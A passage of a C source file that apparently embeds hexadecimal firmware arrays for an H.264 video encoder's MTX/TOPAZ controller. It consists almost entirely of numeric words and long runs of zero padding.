0xaa61f248, 0xc0007508, 0xf2489084, 0xb720a3e2, 0xf248430c, 0xb740aa75, 0xb7494488, 0x75085631, 0x4a7d9e54, 0xb5802244, 0xc0004488, 0xb7209164, 0xb7894b8c, 0x7a995629, 0x9082c000, 0xa3f6f248, 0xaa69f288, 0xc0007508, 0xb7209164, 0xb7804b14, 0x7a994049, 0x9082c000, 0xa3eaf288, 0xfff97782, 0xb7409264, 0xb780460c, 0xf0484788, 0xa915a342, 0xb5800a04, 0x0a164788, 0xa24df008, 0x7c6eb79f, 0x7ceeb7bf, 0x7d6eb7df, 0x7deeb7ff, 0x8c00c004, 0x9e989c22, 0x09020802, 0x9140c000, 0x08029e98, 0x4530d010, 0x72c0cc14, 0x7200c014, 0xc18072c0, 0xe0095d09, 0xf0127204, 0xc0005d04, 0x72c49254, 0x0804d004, 0x15b4d024, 0xd00472c0, 0xd0240802, 0xe00015b0, 0x11813124, 0x442ab330, 0x72c09c22, 0xffff0886, 0xc40293a6, 0xd06572c0, 0xd0652c9e, 0xc8023c9e, 0xd0657200, 0xd0652d2e, 0xe0003d2e, 0x9e531514, 0x5408d01a, 0x50acd01a, 0xd01472c0, 0xd0240002, 0xe08015b0, 0x5c055885, 0x9304ffff, 0x3124e000, 0xb3301181, 0x9c22442a, 0x9d3a9e64, 0x0e42c809, 0x0346b09a, 0x9dc39ea4, 0xe0009e58, 0x15873400, 0x482ab330, 0x9e649c22, 0x0e42c809, 0x02a6b09a, 0x9e589ea4, 0x00009c22, 0x87c2c809, 0x0e60b060, 0x87c2c809, 0x0b80b060, 0x87c2c809, 0x0ac0b060, }; unsigned int aui32H264_MasterMTXTOPAZFWData[] = { 0x00000000, 0x00000000, 0xff0000ff, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x809000b0, 0x8090bca4, 0x82886a20, 0x82886aa4, 0x82886ae8, 0x82886b38, 0x82886b10, 0x82886b1c, 0x82886af0, 0x82886af4, 0x82886b58, 0x82886af8, 0x82886b4c, 0x82886b60, 0x82887ba4, 0x82886b68, 0x82888184, 0x828875f4, 0x828876d4, 0x82888288, 0x82888290, 0x82888294, 0x82888298, 0x8288829a, 0x828882a0, 0x828882a4, 0x828882a8, 0x828882ac, 0x828882b4, 0x828882b8, 0x828882bc, 0x828882c7, 0x82889870, 0x828869c0, 0x82886a10, 0x82886a18, 0x809003f0, 0x809003f0, 0x80908b40, 0x8090c73c, 0x80905abc, 0x8090c524, 0x809079b8, 0x80907228, 0x809009d4, 0x80902e00, 0x809003f0, 0x809003f0, 0x809003f0, 0x809003f0, 0x809003f0, 0x809003f0, 0x809003f0, 0x809003f0, 0x809003f0, 0x809003f0, 0x0d080300, 0x00100b06, 0x00000020, 0x00000020, 0x00400000, 0x02ab0020, 0x00cd0010, 0x02490155, 0x01c70008, 0x005d00cd, 0x013b0155, 0x01110249, 0x00f10004, 0x01af01c7, 0x00c300cd, 0x0059005d, 0x00290155, 0x025f013b, 0x02350249, 0x00210111, 0x001f0002, 0x007500f1, 0x006f01c7, 0x006901af, 0x001900cd, 0x017d00c3, 0x005b005d, 0x02b90059, 0x00a70155, 0x02830029, 0x0135013b, 0x0095025f, 0x023f0249, 0x008b0235, 0x02190111, 0x00410021, 0x00000001, 0x0b060600, 0x0c0b0a06, 0x0a0b0c06, 0x0c0d0c0c, 0x0d0d0c06, 0x0b0b0c0c, 0x0e0d0a0d, 0x0a0d0e0e, 0x0c0d0a06, 0x0c0e0c0e, 0x0e0d0a0d, 0x0f0c0c0c, 0x0f0b0d0e, 0x0d0f0e0e, 0x0d0f0f0f, 0x0c0b0f0e, 0x00000006, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 